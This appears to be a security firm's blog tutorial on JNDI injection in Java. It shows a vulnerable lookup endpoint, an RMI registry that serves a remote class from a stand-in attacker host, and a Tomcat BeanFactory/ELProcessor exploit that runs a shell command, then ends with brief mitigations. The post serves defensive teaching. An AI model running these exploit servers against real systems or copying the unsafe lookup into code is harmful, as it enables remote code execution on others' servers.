Blog

JNDI injection

Java Naming and Directory Interface (JNDI) is a Java API that allows clients to discover and look up data and objects via a name.

schedule a call

[!NOTE] The only risk level higher than CVSS 10.0 is having a logo and a Wiki article for a vulnerability.


What is JNDI again?

boring and long definition:

Java Naming and Directory Interface (JNDI) is a Java API that allows clients to discover and look up data and objects via a name. These objects can be stored in different naming or directory services, such as Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP), or Domain Name Service (DNS).

URL examples:

ldap://tenendo.com:389/cn=homedir,cn=Me,ou=People,o=JNDIExample
rmi://tenendo.com:1234/neohope/jndi/test01

JNDI injections in the past

nice sum-up articles/presentations:


Offensive use of JNDI

  • InitialContext.lookup sink to RCE
  • deserialization gadget
  • unsafe reflection

pre-JDK 1.8.0_121

core mechanism:

JNDI URL ->
	javax.naming.Reference instance ->
		unknown classFactory and attacker-controlled classFactoryLocation ->
			URLClassLoader ->
				RCE

Vulnerable example:

@RequestMapping("/lookup")
	@Example(uri = {"/lookup?name=java:comp/env"})
	public Object lookup(@RequestParam String name) throws Exception{
	    return new javax.naming.InitialContext().lookup(name);
	}

public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
 
        //creating a reference with 'ExportObject' factory with the factory location of 'http://_attacker.com_/'
        Reference ref = new javax.naming.Reference("ExportObject","ExportObject","http://_attacker.com_/");
 
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

pre-CVE-2018-3149

  • LDAP instead of RMI
  • the same mechanism
  • how not to fix a vulnerability

JDK 1.8.0_191+

  • classFactoryLocation is not used anymore
  • javaFactory can still be attacker-controlled
  • javaFactory is used to extract javax.naming.Reference

Tomcat exploitation example:

JNDI URL ->
	javax.naming.Reference instance ->
		BeanFactory ->
			Reference to ELProcessor with a redefined setter ->
				eval arbitrary string

exploit example:

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
 
public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
 
        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));
 
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

Configuring JNDI

  • whitelisting hosts
  • whitelisting class names and factory names
  • restricting JNDI URL protocols